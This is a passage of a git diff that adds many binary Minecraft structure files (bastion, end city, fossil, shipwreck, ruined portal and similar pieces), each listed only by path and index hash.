and b/src/data/minecraft/structures/bastion/units/stages/stage_0_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_0_1.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_0_1.nbt new file mode 100644 index 00000000..f96bc6b8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_0_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_0_2.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_0_2.nbt new file mode 100644 index 00000000..a2f6cf11 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_0_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_0_3.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_0_3.nbt new file mode 100644 index 00000000..8db03deb Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_0_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_1_0.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_1_0.nbt new file mode 100644 index 00000000..792c5a69 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_1_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_1_1.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_1_1.nbt new file mode 100644 index 00000000..92ce1e36 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_1_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_1_2.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_1_2.nbt new file mode 100644 index 00000000..bb1811a8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_1_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_1_3.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_1_3.nbt new file mode 100644 index 00000000..442ba0a8 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_1_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_2_0.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_2_0.nbt new file mode 100644 index 00000000..a62c56ac Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_2_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_2_1.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_2_1.nbt new file mode 100644 index 00000000..9cb20de9 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_2_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_3_0.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_3_0.nbt new file mode 100644 index 00000000..646bea5b Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_3_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_3_1.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_3_1.nbt new file mode 100644 index 00000000..57454ce3 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_3_1.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_3_2.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_3_2.nbt new file mode 100644 index 00000000..ab75947b Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_3_2.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/stages/stage_3_3.nbt b/src/data/minecraft/structures/bastion/units/stages/stage_3_3.nbt new file mode 100644 index 00000000..89a6a5ad Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/stages/stage_3_3.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/wall_units/edge_0_large.nbt b/src/data/minecraft/structures/bastion/units/wall_units/edge_0_large.nbt new file mode 100644 index 00000000..6f596523 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/wall_units/edge_0_large.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/wall_units/unit_0.nbt b/src/data/minecraft/structures/bastion/units/wall_units/unit_0.nbt new file mode 100644 index 00000000..1123fb01 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/wall_units/unit_0.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/walls/connected_wall.nbt b/src/data/minecraft/structures/bastion/units/walls/connected_wall.nbt new file mode 100644 index 00000000..a5cf3eb0 Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/walls/connected_wall.nbt differ diff --git a/src/data/minecraft/structures/bastion/units/walls/wall_base.nbt b/src/data/minecraft/structures/bastion/units/walls/wall_base.nbt new file mode 100644 index 00000000..45fc8ebc Binary files /dev/null and b/src/data/minecraft/structures/bastion/units/walls/wall_base.nbt differ diff --git a/src/data/minecraft/structures/end_city/base_floor.nbt b/src/data/minecraft/structures/end_city/base_floor.nbt new file mode 100644 index 00000000..8f717d9e Binary files /dev/null and b/src/data/minecraft/structures/end_city/base_floor.nbt differ diff --git a/src/data/minecraft/structures/end_city/base_roof.nbt b/src/data/minecraft/structures/end_city/base_roof.nbt new file mode 100644 index 00000000..e9f24625 Binary files /dev/null and b/src/data/minecraft/structures/end_city/base_roof.nbt differ diff --git a/src/data/minecraft/structures/end_city/bridge_end.nbt b/src/data/minecraft/structures/end_city/bridge_end.nbt new file mode 100644 index 00000000..408cb343 Binary files /dev/null and b/src/data/minecraft/structures/end_city/bridge_end.nbt differ diff --git a/src/data/minecraft/structures/end_city/bridge_gentle_stairs.nbt b/src/data/minecraft/structures/end_city/bridge_gentle_stairs.nbt new file mode 100644 index 00000000..9e951588 Binary files /dev/null and b/src/data/minecraft/structures/end_city/bridge_gentle_stairs.nbt differ diff --git a/src/data/minecraft/structures/end_city/bridge_piece.nbt b/src/data/minecraft/structures/end_city/bridge_piece.nbt new file mode 100644 index 00000000..73c146fc Binary files /dev/null and b/src/data/minecraft/structures/end_city/bridge_piece.nbt differ diff --git a/src/data/minecraft/structures/end_city/bridge_steep_stairs.nbt b/src/data/minecraft/structures/end_city/bridge_steep_stairs.nbt new file mode 100644 index 00000000..d64b12fa Binary files /dev/null and b/src/data/minecraft/structures/end_city/bridge_steep_stairs.nbt differ diff --git a/src/data/minecraft/structures/end_city/fat_tower_base.nbt b/src/data/minecraft/structures/end_city/fat_tower_base.nbt new file mode 100644 index 00000000..19e1b985 Binary files /dev/null and b/src/data/minecraft/structures/end_city/fat_tower_base.nbt differ diff --git a/src/data/minecraft/structures/end_city/fat_tower_middle.nbt b/src/data/minecraft/structures/end_city/fat_tower_middle.nbt new file mode 100644 index 00000000..bca02fdf Binary files /dev/null and b/src/data/minecraft/structures/end_city/fat_tower_middle.nbt differ diff --git a/src/data/minecraft/structures/end_city/fat_tower_top.nbt b/src/data/minecraft/structures/end_city/fat_tower_top.nbt new file mode 100644 index 00000000..e08dfbe2 Binary files /dev/null and b/src/data/minecraft/structures/end_city/fat_tower_top.nbt differ diff --git a/src/data/minecraft/structures/end_city/second_floor_1.nbt b/src/data/minecraft/structures/end_city/second_floor_1.nbt new file mode 100644 index 00000000..cb0c4a31 Binary files /dev/null and b/src/data/minecraft/structures/end_city/second_floor_1.nbt differ diff --git a/src/data/minecraft/structures/end_city/second_floor_2.nbt b/src/data/minecraft/structures/end_city/second_floor_2.nbt new file mode 100644 index 00000000..a0d3b5b8 Binary files /dev/null and b/src/data/minecraft/structures/end_city/second_floor_2.nbt differ diff --git a/src/data/minecraft/structures/end_city/second_roof.nbt b/src/data/minecraft/structures/end_city/second_roof.nbt new file mode 100644 index 00000000..24ef8e8b Binary files /dev/null and b/src/data/minecraft/structures/end_city/second_roof.nbt differ diff --git a/src/data/minecraft/structures/end_city/ship.nbt b/src/data/minecraft/structures/end_city/ship.nbt new file mode 100644 index 00000000..2a0ec187 Binary files /dev/null and b/src/data/minecraft/structures/end_city/ship.nbt differ diff --git a/src/data/minecraft/structures/end_city/third_floor_1.nbt b/src/data/minecraft/structures/end_city/third_floor_1.nbt new file mode 100644 index 00000000..3a0d4816 Binary files /dev/null and b/src/data/minecraft/structures/end_city/third_floor_1.nbt differ diff --git a/src/data/minecraft/structures/end_city/third_floor_2.nbt b/src/data/minecraft/structures/end_city/third_floor_2.nbt new file mode 100644 index 00000000..208436f4 Binary files /dev/null and b/src/data/minecraft/structures/end_city/third_floor_2.nbt differ diff --git a/src/data/minecraft/structures/end_city/third_roof.nbt b/src/data/minecraft/structures/end_city/third_roof.nbt new file mode 100644 index 00000000..c88c8686 Binary files /dev/null and b/src/data/minecraft/structures/end_city/third_roof.nbt differ diff --git a/src/data/minecraft/structures/end_city/tower_base.nbt b/src/data/minecraft/structures/end_city/tower_base.nbt new file mode 100644 index 00000000..5849a51a Binary files /dev/null and b/src/data/minecraft/structures/end_city/tower_base.nbt differ diff --git a/src/data/minecraft/structures/end_city/tower_floor.nbt b/src/data/minecraft/structures/end_city/tower_floor.nbt new file mode 100644 index 00000000..91bc7394 Binary files /dev/null and b/src/data/minecraft/structures/end_city/tower_floor.nbt differ diff --git a/src/data/minecraft/structures/end_city/tower_piece.nbt b/src/data/minecraft/structures/end_city/tower_piece.nbt new file mode 100644 index 00000000..7561263d Binary files /dev/null and b/src/data/minecraft/structures/end_city/tower_piece.nbt differ diff --git a/src/data/minecraft/structures/end_city/tower_top.nbt b/src/data/minecraft/structures/end_city/tower_top.nbt new file mode 100644 index 00000000..3ddca8be Binary files /dev/null and b/src/data/minecraft/structures/end_city/tower_top.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_1.nbt b/src/data/minecraft/structures/fossil/skull_1.nbt new file mode 100644 index 00000000..99006c0a Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_1.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_1_coal.nbt b/src/data/minecraft/structures/fossil/skull_1_coal.nbt new file mode 100644 index 00000000..9c8a5d42 Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_1_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_2.nbt b/src/data/minecraft/structures/fossil/skull_2.nbt new file mode 100644 index 00000000..d146be21 Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_2.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_2_coal.nbt b/src/data/minecraft/structures/fossil/skull_2_coal.nbt new file mode 100644 index 00000000..5f04a57d Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_2_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_3.nbt b/src/data/minecraft/structures/fossil/skull_3.nbt new file mode 100644 index 00000000..7a039723 Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_3.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_3_coal.nbt b/src/data/minecraft/structures/fossil/skull_3_coal.nbt new file mode 100644 index 00000000..4a3c94f5 Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_3_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_4.nbt b/src/data/minecraft/structures/fossil/skull_4.nbt new file mode 100644 index 00000000..c3a5d49e Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_4.nbt differ diff --git a/src/data/minecraft/structures/fossil/skull_4_coal.nbt b/src/data/minecraft/structures/fossil/skull_4_coal.nbt new file mode 100644 index 00000000..69c90041 Binary files /dev/null and b/src/data/minecraft/structures/fossil/skull_4_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_1.nbt b/src/data/minecraft/structures/fossil/spine_1.nbt new file mode 100644 index 00000000..1c0341da Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_1.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_1_coal.nbt b/src/data/minecraft/structures/fossil/spine_1_coal.nbt new file mode 100644 index 00000000..f46449c1 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_1_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_2.nbt b/src/data/minecraft/structures/fossil/spine_2.nbt new file mode 100644 index 00000000..b7463050 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_2.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_2_coal.nbt b/src/data/minecraft/structures/fossil/spine_2_coal.nbt new file mode 100644 index 00000000..e0e15eb2 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_2_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_3.nbt b/src/data/minecraft/structures/fossil/spine_3.nbt new file mode 100644 index 00000000..1159d70b Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_3.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_3_coal.nbt b/src/data/minecraft/structures/fossil/spine_3_coal.nbt new file mode 100644 index 00000000..e69f0430 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_3_coal.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_4.nbt b/src/data/minecraft/structures/fossil/spine_4.nbt new file mode 100644 index 00000000..ca8f46b9 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_4.nbt differ diff --git a/src/data/minecraft/structures/fossil/spine_4_coal.nbt b/src/data/minecraft/structures/fossil/spine_4_coal.nbt new file mode 100644 index 00000000..c64d4ca8 Binary files /dev/null and b/src/data/minecraft/structures/fossil/spine_4_coal.nbt differ diff --git a/src/data/minecraft/structures/igloo/bottom.nbt b/src/data/minecraft/structures/igloo/bottom.nbt new file mode 100644 index 00000000..f1367350 Binary files /dev/null and b/src/data/minecraft/structures/igloo/bottom.nbt differ diff --git a/src/data/minecraft/structures/igloo/middle.nbt b/src/data/minecraft/structures/igloo/middle.nbt new file mode 100644 index 00000000..466ecc0a Binary files /dev/null and b/src/data/minecraft/structures/igloo/middle.nbt differ diff --git a/src/data/minecraft/structures/igloo/top.nbt b/src/data/minecraft/structures/igloo/top.nbt new file mode 100644 index 00000000..1a9e4eef Binary files /dev/null and b/src/data/minecraft/structures/igloo/top.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_1.nbt b/src/data/minecraft/structures/nether_fossils/fossil_1.nbt new file mode 100644 index 00000000..1fe43222 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_1.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_10.nbt b/src/data/minecraft/structures/nether_fossils/fossil_10.nbt new file mode 100644 index 00000000..e97c4aaa Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_10.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_11.nbt b/src/data/minecraft/structures/nether_fossils/fossil_11.nbt new file mode 100644 index 00000000..0b4172b9 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_11.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_12.nbt b/src/data/minecraft/structures/nether_fossils/fossil_12.nbt new file mode 100644 index 00000000..ff4bd2b5 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_12.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_13.nbt b/src/data/minecraft/structures/nether_fossils/fossil_13.nbt new file mode 100644 index 00000000..a4c2a72b Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_13.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_14.nbt b/src/data/minecraft/structures/nether_fossils/fossil_14.nbt new file mode 100644 index 00000000..78d260d8 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_14.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_2.nbt b/src/data/minecraft/structures/nether_fossils/fossil_2.nbt new file mode 100644 index 00000000..391384de Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_2.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_3.nbt b/src/data/minecraft/structures/nether_fossils/fossil_3.nbt new file mode 100644 index 00000000..6a4a62f3 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_3.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_4.nbt b/src/data/minecraft/structures/nether_fossils/fossil_4.nbt new file mode 100644 index 00000000..087f0da1 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_4.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_5.nbt b/src/data/minecraft/structures/nether_fossils/fossil_5.nbt new file mode 100644 index 00000000..e756f5db Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_5.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_6.nbt b/src/data/minecraft/structures/nether_fossils/fossil_6.nbt new file mode 100644 index 00000000..2a965fd0 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_6.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_7.nbt b/src/data/minecraft/structures/nether_fossils/fossil_7.nbt new file mode 100644 index 00000000..e8da8aba Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_7.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_8.nbt b/src/data/minecraft/structures/nether_fossils/fossil_8.nbt new file mode 100644 index 00000000..894dde6f Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_8.nbt differ diff --git a/src/data/minecraft/structures/nether_fossils/fossil_9.nbt b/src/data/minecraft/structures/nether_fossils/fossil_9.nbt new file mode 100644 index 00000000..95fa4f75 Binary files /dev/null and b/src/data/minecraft/structures/nether_fossils/fossil_9.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/base_plate.nbt b/src/data/minecraft/structures/pillager_outpost/base_plate.nbt new file mode 100644 index 00000000..fbf6e7c0 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/base_plate.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_cage1.nbt b/src/data/minecraft/structures/pillager_outpost/feature_cage1.nbt new file mode 100644 index 00000000..577aba74 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_cage1.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_cage2.nbt b/src/data/minecraft/structures/pillager_outpost/feature_cage2.nbt new file mode 100644 index 00000000..7f5658a8 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_cage2.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_logs.nbt b/src/data/minecraft/structures/pillager_outpost/feature_logs.nbt new file mode 100644 index 00000000..d109c457 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_logs.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_plate.nbt b/src/data/minecraft/structures/pillager_outpost/feature_plate.nbt new file mode 100644 index 00000000..cbb6bdd3 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_plate.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_targets.nbt b/src/data/minecraft/structures/pillager_outpost/feature_targets.nbt new file mode 100644 index 00000000..5270e162 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_targets.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_tent1.nbt b/src/data/minecraft/structures/pillager_outpost/feature_tent1.nbt new file mode 100644 index 00000000..fd941d4f Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_tent1.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/feature_tent2.nbt b/src/data/minecraft/structures/pillager_outpost/feature_tent2.nbt new file mode 100644 index 00000000..b961909b Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/feature_tent2.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/watchtower.nbt b/src/data/minecraft/structures/pillager_outpost/watchtower.nbt new file mode 100644 index 00000000..901b6ce8 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/watchtower.nbt differ diff --git a/src/data/minecraft/structures/pillager_outpost/watchtower_overgrown.nbt b/src/data/minecraft/structures/pillager_outpost/watchtower_overgrown.nbt new file mode 100644 index 00000000..e6334c89 Binary files /dev/null and b/src/data/minecraft/structures/pillager_outpost/watchtower_overgrown.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/giant_portal_1.nbt b/src/data/minecraft/structures/ruined_portal/giant_portal_1.nbt new file mode 100644 index 00000000..4c4d3d62 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/giant_portal_1.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/giant_portal_2.nbt b/src/data/minecraft/structures/ruined_portal/giant_portal_2.nbt new file mode 100644 index 00000000..0d949d1b Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/giant_portal_2.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/giant_portal_3.nbt b/src/data/minecraft/structures/ruined_portal/giant_portal_3.nbt new file mode 100644 index 00000000..fcc01d8f Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/giant_portal_3.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_1.nbt b/src/data/minecraft/structures/ruined_portal/portal_1.nbt new file mode 100644 index 00000000..0a4f56cb Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_1.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_10.nbt b/src/data/minecraft/structures/ruined_portal/portal_10.nbt new file mode 100644 index 00000000..09fb0d40 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_10.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_2.nbt b/src/data/minecraft/structures/ruined_portal/portal_2.nbt new file mode 100644 index 00000000..c495bb5a Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_2.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_3.nbt b/src/data/minecraft/structures/ruined_portal/portal_3.nbt new file mode 100644 index 00000000..35e2afcd Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_3.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_4.nbt b/src/data/minecraft/structures/ruined_portal/portal_4.nbt new file mode 100644 index 00000000..6c7a5543 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_4.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_5.nbt b/src/data/minecraft/structures/ruined_portal/portal_5.nbt new file mode 100644 index 00000000..0be4dc32 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_5.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_6.nbt b/src/data/minecraft/structures/ruined_portal/portal_6.nbt new file mode 100644 index 00000000..5f6a7dd6 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_6.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_7.nbt b/src/data/minecraft/structures/ruined_portal/portal_7.nbt new file mode 100644 index 00000000..14d8fa90 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_7.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_8.nbt b/src/data/minecraft/structures/ruined_portal/portal_8.nbt new file mode 100644 index 00000000..47d66da9 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_8.nbt differ diff --git a/src/data/minecraft/structures/ruined_portal/portal_9.nbt b/src/data/minecraft/structures/ruined_portal/portal_9.nbt new file mode 100644 index 00000000..0b5bbf82 Binary files /dev/null and b/src/data/minecraft/structures/ruined_portal/portal_9.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_backhalf.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_backhalf.nbt new file mode 100644 index 00000000..1f766fbc Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_backhalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_backhalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_backhalf_degraded.nbt new file mode 100644 index 00000000..a171b392 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_backhalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf.nbt new file mode 100644 index 00000000..5a6746d5 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf_degraded.nbt new file mode 100644 index 00000000..7a8908ea Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_fronthalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_full.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_full.nbt new file mode 100644 index 00000000..e0a1d47a Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_full.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/rightsideup_full_degraded.nbt b/src/data/minecraft/structures/shipwreck/rightsideup_full_degraded.nbt new file mode 100644 index 00000000..4a83131d Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/rightsideup_full_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_backhalf.nbt b/src/data/minecraft/structures/shipwreck/sideways_backhalf.nbt new file mode 100644 index 00000000..f65ba9a0 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_backhalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_backhalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/sideways_backhalf_degraded.nbt new file mode 100644 index 00000000..b43dc253 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_backhalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_fronthalf.nbt b/src/data/minecraft/structures/shipwreck/sideways_fronthalf.nbt new file mode 100644 index 00000000..342f224f Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_fronthalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_fronthalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/sideways_fronthalf_degraded.nbt new file mode 100644 index 00000000..d0e4d39e Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_fronthalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_full.nbt b/src/data/minecraft/structures/shipwreck/sideways_full.nbt new file mode 100644 index 00000000..f3b2ad5f Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_full.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/sideways_full_degraded.nbt b/src/data/minecraft/structures/shipwreck/sideways_full_degraded.nbt new file mode 100644 index 00000000..98aaf3a8 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/sideways_full_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_backhalf.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_backhalf.nbt new file mode 100644 index 00000000..ba71cd18 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_backhalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_backhalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_backhalf_degraded.nbt new file mode 100644 index 00000000..7cab2427 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_backhalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf.nbt new file mode 100644 index 00000000..a9ff1268 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf_degraded.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf_degraded.nbt new file mode 100644 index 00000000..bfc6c693 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_fronthalf_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_full.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_full.nbt new file mode 100644 index 00000000..37461495 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_full.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/upsidedown_full_degraded.nbt b/src/data/minecraft/structures/shipwreck/upsidedown_full_degraded.nbt new file mode 100644 index 00000000..56d29f69 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/upsidedown_full_degraded.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/with_mast.nbt b/src/data/minecraft/structures/shipwreck/with_mast.nbt new file mode 100644 index 00000000..574a4fd2 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/with_mast.nbt differ diff --git a/src/data/minecraft/structures/shipwreck/with_mast_degraded.nbt b/src/data/minecraft/structures/shipwreck/with_mast_degraded.nbt new file mode 100644 index 00000000..af887d23 Binary files /dev/null and b/src/data/minecraft/structures/shipwreck/with_mast_degraded.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_brick_1.nbt b/src/data/minecraft/structures/underwater_ruin/big_brick_1.nbt new file mode 100644 index 00000000..d06ec3dc Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_brick_1.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_brick_2.nbt b/src/data/minecraft/structures/underwater_ruin/big_brick_2.nbt new file mode 100644 index 00000000..561ffd40 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_brick_2.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_brick_3.nbt b/src/data/minecraft/structures/underwater_ruin/big_brick_3.nbt new file mode 100644 index 00000000..5fae5020 Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_brick_3.nbt differ diff --git a/src/data/minecraft/structures/underwater_ruin/big_brick_8.nbt b/src/data/minecraft/structures/underwater_ruin/big_brick_8.nbt new file mode 100644 index 00000000..8dd1e2ad Binary files /dev/null and b/src/data/minecraft/structures/underwater_ruin/big_brick_8.nbt differ diff --git 